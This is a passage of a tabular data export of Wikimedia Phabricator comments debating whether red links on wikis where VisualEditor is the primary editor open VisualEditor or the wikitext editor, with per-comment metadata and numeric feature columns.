This comment is at best unfair and at worst willful ignorance or trolling. Being able to switch between editors while editing has been requested repeatedly, and using the action=edit view for editors is the obvious choice, already made by others such as CodeEditor. It is the most obvious, most intuitive and best way to present two or more editors, and not ""additional and costly bloat to a site as an unsuccessful means of ""engaging visitors"" or ""building community"""", like that page states. "
490244,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Please, this bug is not about having a single edit tab, or choice, or wikiafication or whatever.

This bug is about making the default choice of editor consistent. For red links. It's that simple.",,,1436555598,,PHID-USER-wr7prgh3p37xrvbdr6w5,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,105,,0.0,0.0,0.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,3.813953488372093,0.7441860465116279,"Please, this bug is not about having a single edit tab, or choice, or wikiafication or whatever.

This bug is about making the default choice of editor consistent. For red links. It's that simple."
490236,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1446154, @Krenair wrote:
> We'd like to have a single edit tab where the user can chose between VE and a wikitext source editor

https://meta.wikimedia.org/wiki/Wikiafication",,,1436554570,,PHID-USER-je4a7kqdfgacwkyhtg4c,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,105,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.8,"QUOTE
QUOTE

URL"
490234,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","I'm not sure we want to use this hook for VE. We'd like to have a single edit tab (pointing to action=edit) where the user can chose between VE and a wikitext source editor instead, so this would be obsolete.",,,1436554102,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,105,,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,6.0,0.0,6.0,10.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,8.0,2.0,4.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,10.0,4.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,3.4489795918367347,0.8571428571428571,"I'm not sure we want to use this hook for VE. We'd like to have a single edit tab (pointing to action=edit) where the user can chose between VE and a wikitext source editor instead, so this would be obsolete."
487828,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1433506, @Juandev wrote:
> So, why it was told to me, we need a community consensus?! Dont tell me that it cannot be set differently to each project?!

At the moment, it cannot, because the feature you are asking for doesn't even exist yet. That is the problem we are trying to solve with the patch linked above.

Once that is dealt with, then we can potentially act upon the community consensus and enable the feature on that wiki, if the VE boffins agree that it is a good thing to do. ",,,1436266371,,PHID-USER-sx63fwaih5kjt7bz4u6z,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,105,,0.0,0.0,0.0,1.0,3.0,1.0,3.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,10.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,9.0,0.0,3.0,1.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,13.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,8.0,5.0,1.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,14.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.6666666666666665,0.6923076923076923,"QUOTE
QUOTE

At the moment, it cannot, because the feature you are asking for doesn't even exist yet. That is the problem we are trying to solve with the patch linked above.

Once that is dealt with, then we can potentially act upon the community consensus and enable the feature on that wiki, if the VE boffins agree that it is a good thing to do. "
487819,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1327857, @Krenair wrote:
> When it happens, it'll happen on every wiki. Until then it can't be on any wiki...

So, why it was told to me, we need a community consensus?! Dont tell me that it cannot be set differently to each project?!



",,,1436264992,,PHID-USER-vm462i2ffbawnuo4mh3n,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,105,,3.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,14.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,11.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,8.0,0.0,0.0,0.0,14.0,8.0,0.0,5.0,0.0,0.0,14.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,3.1621621621621623,0.8108108108108109,"QUOTE
QUOTE

So, why it was told to me, we need a community consensus?! Dont tell me that it cannot be set differently to each project?!



"
486996,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1429220, @Nemo_bis wrote:
> Red links are the single most important entry point for article editing after the edit tabs and section editing, so it makes sense to make them smarter/configurable.

I've been wondering how are articles created. Is it red links from other articles? The red links that appears when search for a page that doesn't exist? Something else?",,,1436182556,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,105,,0.0,3.0,0.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,10.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,5.0,8.0,15.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,8.0,0.0,0.0,5.0,0.0,10.0,3.0,0.0,3.0,0.0,0.0,0.0,3.923076923076923,0.8205128205128205,"QUOTE
QUOTE

I've been wondering how are articles created. Is it red links from other articles? The red links that appears when search for a page that doesn't exist? Something else?"
486988,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Indeed, this bug is not about action=edit but about what gets linked most prominently. Red links are the single most important entry point for article editing after the edit tabs and section editing, so it makes sense to make them smarter/configurable.

Then of course there are many other links to handle later (think of inputbox and so on) but divide et impera applies.",,,1436180945,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,105,,1.0,0.0,0.0,0.0,1.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,12.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,8.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,12.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,1.0,3.0,3.0,0.0,4.133333333333334,0.8,"Indeed, this bug is not about action=edit but about what gets linked most prominently. Red links are the single most important entry point for article editing after the edit tabs and section editing, so it makes sense to make them smarter/configurable.

Then of course there are many other links to handle later (think of inputbox and so on) but divide et impera applies."
486910,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","@Krenair I'm a little puzzled by your comment:

>>! In T55441#1412564, @Krenair wrote:
> Sorry, but this is not a thing. MediaWiki does not let you set default=wikitext vs. default=visualeditor. You get given one editor by MediaWiki for wikitext, and it's what gets shown at action=edit (the target of all of MediaWiki's red links). 

Well, isn't that part of the point of this issue - to make redlinks configurable? Of course, T102398 would render that moot, but in the interim, I have uploaded new patch sets to https://gerrit.wikimedia.org/r/178817 that allow extensions to retarget redlinks.

I don't expect WMF wikis to use this, but some third-party installations are interested in it (judging by posts at Support Desk over the past few months).",,,1436163446,,PHID-USER-sx63fwaih5kjt7bz4u6z,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,105,,2.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,2.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,15.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,13.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,6.0,1.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.9278350515463916,0.7422680412371134,"SCREEN_NAME I'm a little puzzled by your comment:

QUOTE
QUOTE

Well, isn't that part of the point of this issue - to make redlinks configurable? Of course, T102398 would render that moot, but in the interim, I have uploaded new patch sets to GERRIT_URL that allow extensions to retarget redlinks.

I don't expect WMF wikis to use this, but some third-party installations are interested in it (judging by posts at Support Desk over the past few months)."
483973,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1408724, @Solstag wrote:
> A project that has visual editor as default for

Sorry, but this is not a thing. MediaWiki does not let you set default=wikitext vs. default=visualeditor. You get given one editor by MediaWiki for wikitext, and it's what gets shown at action=edit (the target of all of MediaWiki's red links). VE hacks itself in via veaction=edit, but this cannot be considered a default by any means.",,,1435631163,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,104,,2.0,0.0,0.0,1.0,4.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,10.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,5.0,11.0,8.0,0.0,0.0,0.0,5.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,3.6625,0.7125,"QUOTE
QUOTE

Sorry, but this is not a thing. MediaWiki does not let you set default=wikitext vs. default=visualeditor. You get given one editor by MediaWiki for wikitext, and it's what gets shown at action=edit (the target of all of MediaWiki's red links). VE hacks itself in via veaction=edit, but this cannot be considered a default by any means."
483834,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1408724, @Solstag wrote:
> A project that has visual editor as default for everybody, even unauthenticated users, should open red links with the visual editor.

A gadget (enabled by default) which replaces `action=edit` with `veaction=edit` might be the easiest short-term solution - it gives the ability to opt out, and does not cause cache fragmentation.",,,1435614861,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,104,,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,12.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.975,0.9,"QUOTE
QUOTE

A gadget (enabled by default) which replaces CODE with CODE might be the easiest short-term solution - it gives the ability to opt out, and does not cause cache fragmentation."
483254,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Hi folks! Just in case the duplicate doesn't speak by itself, I see no reason why we don't have right now:

A project that has visual editor as default for everybody, even unauthenticated users, should open red links with the visual editor.

All other projects should wait until you sort out the mess with picking the right editor for each user.

This is definitely not hard to implement, there's not even a new config involved.

Cheers and thanks for looking into this.",,,1435534756,,PHID-USER-wr7prgh3p37xrvbdr6w5,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,103,,2.0,1.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,1.0,2.0,0.0,11.0,12.0,1.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,17.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,1.0,1.0,6.0,1.0,7.0,1.0,1.0,11.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,1.0,2.0,0.0,0.0,0.0,3.9696969696969697,0.7676767676767676,"Hi folks! Just in case the duplicate doesn't speak by itself, I see no reason why we don't have right now:

A project that has visual editor as default for everybody, even unauthenticated users, should open red links with the visual editor.

All other projects should wait until you sort out the mess with picking the right editor for each user.

This is definitely not hard to implement, there's not even a new config involved.

Cheers and thanks for looking into this."
478593,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1327857, @Krenair wrote:
> When it happens, it'll happen on every wiki. Until then it can't be on any wiki...

A lot of Wikimedia wikis have been happily using VisualEditor for over a year, and the wikitext editor being the default even for new editors is problematic for them. (It is somewhat ridiculous, for example, that [[ https://www.mediawiki.org/wiki/Extension:SandboxLink | SandboxLink ]], which is mainly meant to make the life of new editors easier, drops them into a wikitext editor.) I don't see what's wrong with providing a per-wiki option.",,,1434826324,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,102,,0.0,0.0,0.0,1.0,1.0,8.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,6.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,2.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,18.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,8.0,6.0,10.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,13.0,3.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,2.0,2.0,1.0,0.0,2.0,3.808988764044944,0.7303370786516854,"QUOTE
QUOTE

A lot of Wikimedia wikis have been happily using VisualEditor for over a year, and the wikitext editor being the default even for new editors is problematic for them. (It is somewhat ridiculous, for example, that [[ URL | SandboxLink ]], which is mainly meant to make the life of new editors easier, drops them into a wikitext editor.) I don't see what's wrong with providing a per-wiki option."
472699,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",Updated title to reflect actual desired end result. The url structure is secondary and may actually change (see T54281).,,,1433993685,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,101,,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.434782608695652,0.9565217391304348,Updated title to reflect actual desired end result. The url structure is secondary and may actually change (see T54281).
467166,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","When it happens, it'll happen on every wiki. Until then it can't be on any wiki...",,,1433206467,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,100,,10.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1904761904761907,0.8095238095238095,"When it happens, it'll happen on every wiki. Until then it can't be on any wiki..."
467162,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",Could you enable this on cs.wv per community consensus: https://cs.wikiversity.org/wiki/Wikiverzita:Diskusn%C3%AD_prostor#Zalo.C5.BEen.C3.AD_a_editace_str.C3.A1nky_ve_VisualEditoru,,,1433206300,,PHID-USER-vm462i2ffbawnuo4mh3n,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,100,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.545454545454546,1.0,Could you enable this on cs.wv per community consensus: URL
455974,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Change 178817 restored by TTO:
Consistent edit links

Reason:
Seems like a valuable change.

[[https://gerrit.wikimedia.org/r/178817]]",,,1431085942,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,96,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.730769230769231,0.8076923076923077,"Change 178817 restored by TTO:
Consistent edit links

Reason:
Seems like a valuable change.

[[GERRIT_URL]]"
455972,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","This option should (must?) be available for those who wish to use VE on their own MediaWiki installations. Currently, redlinks are a ""hole"" through which unsuspecting users can ""fall"" into the ""pipework"" of the wikitext editor.

Most of the discussion here deals with the social aspects of the task, which doesn't seem hugely relevant here. The functionality would presumably live behind a $wg flag, and be switched off by default.",,,1431085917,,PHID-USER-sx63fwaih5kjt7bz4u6z,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,96,,0.0,0.0,0.0,1.0,1.0,7.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,12.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,7.0,0.0,1.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,13.0,2.0,1.0,7.0,0.0,1.0,0.0,3.0,2.0,0.0,0.0,0.0,1.0,0.0,4.078651685393258,0.7752808988764045,"This option should (must?) be available for those who wish to use VE on their own MediaWiki installations. Currently, redlinks are a ""hole"" through which unsuspecting users can ""fall"" into the ""pipework"" of the wikitext editor.

Most of the discussion here deals with the social aspects of the task, which doesn't seem hugely relevant here. The functionality would presumably live behind a $wg flag, and be switched off by default."
444227,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Change 178817 abandoned by Ricordisamoa:
Consistent edit links

Reason:
There ain't no such thing as a solution for this.

[[https://gerrit.wikimedia.org/r/178817]]",,,1429130863,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,93,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.8125,0.84375,"Change 178817 abandoned by Ricordisamoa:
Consistent edit links

Reason:
There ain't no such thing as a solution for this.

[[GERRIT_URL]]"
404209,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","I do not plan to work on it before the discussion has an outcome (nor I have any personal interest in supporting VisualEditor at the moment), but the patch is up for anyone who wants to play with it.",,,1422491673,,PHID-USER-je4a7kqdfgacwkyhtg4c,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,82,,2.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,21.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,7.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,21.0,2.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.744186046511628,0.8837209302325582,"I do not plan to work on it before the discussion has an outcome (nor I have any personal interest in supporting VisualEditor at the moment), but the patch is up for anyone who wants to play with it."
404207,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",Are you going to work on it more? I got the impression from the way you unassigned this that we shouldn't review the patch before discussing this further.,,,1422491216,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,82,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,6.0,13.0,0.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,6.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,16.0,13.0,0.0,3.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,4.096774193548387,0.8709677419354839,Are you going to work on it more? I got the impression from the way you unassigned this that we shouldn't review the patch before discussing this further.
